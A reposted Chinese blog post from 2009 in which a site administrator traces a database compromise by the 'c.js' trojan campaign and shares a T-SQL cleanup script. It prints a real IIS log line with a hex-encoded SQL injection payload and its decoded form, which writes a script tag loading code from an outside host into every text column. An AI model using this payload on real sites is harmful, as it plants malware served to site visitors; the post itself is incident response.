惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

酷 壳 – CoolShell
酷 壳 – CoolShell
H
Hacker News: Front Page
P
Palo Alto Networks Blog
T
ThreatConnect
Apple Machine Learning Research
Apple Machine Learning Research
博客园_首页
T
True Tiger Recordings
P
Privacy & Cybersecurity Law Blog
B
Blog
IT之家
IT之家
Last Week in AI
Last Week in AI
F
Full Disclosure
Hacker News: Ask HN
Hacker News: Ask HN
C
Comments on: Blog
Microsoft Azure Blog
Microsoft Azure Blog
C
Cybersecurity and Infrastructure Security Agency CISA
Microsoft Security Blog
Microsoft Security Blog
博客园 - 【当耐特】
N
News and Events Feed by Topic
NISL@THU
NISL@THU
腾讯CDC
雷峰网
雷峰网
Security Latest
Security Latest
李成银的技术随笔
M
Microsoft Research Blog - Microsoft Research
L
LangChain Blog
L
Lohrmann on Cybersecurity
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
C
Check Point Blog
Y
Y Combinator Blog
Recent Announcements
Recent Announcements
博客园 - Franky
N
News | PayPal Newsroom
V
V2EX
A
About on SuperTechFans
The Register - Security
The Register - Security
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Google Online Security Blog
Google Online Security Blog
MyScale Blog
MyScale Blog
Cisco Talos Blog
Cisco Talos Blog
Vercel News
Vercel News
WordPress大学
WordPress大学
C
Cyber Attacks, Cyber Crime and Cyber Security
The Hacker News
The Hacker News
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
爱范儿
爱范儿
A
Arctic Wolf
L
LINUX DO - 最新话题
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More

博客园 - 恋地高飞

超级弹窗代码(P2P,360都拦截不了 sql批量修改表名(前缀)--亲测 - 恋地高飞 baset64加密解密代码 asp.net TextBox显示密码 - 恋地高飞 - 博客园 Ext.Window窗口下onclick="Button1_Click",不能提交的问题 IIS7 中使用 UrlRewritingNet(转) Reflector使用手记 学习SQL Server全文索引 (转 ) 查询同一表内多字段同时重复记录的SQL语句 asp.net中Excel导入(使用微软OLEDB驱动) asp.net获取URL和IP地址 警告: 程序集绑定日志记录被关闭。 Repeater1绑定数据,编辑数据的一些参考文章 asp.net下linkbutton的前后台使用方法 sqlserver 中判断是否数字,是否汉字的方法 301永久重定向asp.net实现方法 Net程序如何防止被注入 - 恋地高飞 UrlRewritingNet 完美实现 ASP.NET 2.0 中的URL重写(映射) (转) FusionCharts一款flash统计控件,可以用于C#
com/c.js木马攻击...(转)
恋地高飞 · 2009-03-16 · via 博客园 - 恋地高飞

   习惯性地敲打键盘,服务器检查,程序检查一切显得如此和谐,剩下的只有数据验证了,几千条行业数据多少也让我有些头痛,没办法谁叫我不是BOSS呢

  忙活了大半天,弄得晕头转向,忽然BOSS来电,跑过去一看,我的乖乖。。真是屋漏又遭连夜雨啊!

    从firefox提示的报告来看被google列入黑名单来看可能肯定是我回家这段时间被人注水了,程序没问题那数据呢,打开一看又是一身冷汗。。c.js你好毒啊!

Google一下,没想到居然还没这多难兄难弟,my god谁来抚平我受伤的心。。

   没折了,程序也是N个人改过来改过去的N手货,鬼知道是哪个地方出问题了,只有硬着头皮啃IIS日志了,很意外的发现了一处代码:

2009-01-16 15:39:57 W3SVC1570028688 202.96.137.63 GET /hdjr.asp y=2008&m=10&d=21&word=%e5%ab%81%e5%a8%b6%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.179.110.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64

 很显然state=200意味着什么,SQL里执行一下,看一下原形,

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

看来不是我要找的3b%6Fmb.com/c.js,估计c.js跟这个也差不多,虽然不是我想要的,倒是可以帮上我不少忙,借用一下注入代码,批量替换一下被改写过的内容,如下:

 

declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)
set @inScript='<script src=http://3b%6Fmb.com/c.js></script>'
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set  ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')'  )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;

对于被改写过的内容可以用此方法替换,要想堵住源头只有在程序上做功课了,在没有找出程序漏洞前只能退而求其次,SO,程序是关键

转自:http://www.jnzblog.cn/post/2009/02/07/I-was-a-bit-hit-Trojan-waist-Hutchison-IE-exploits-cjs-Trojan-attacks-.aspx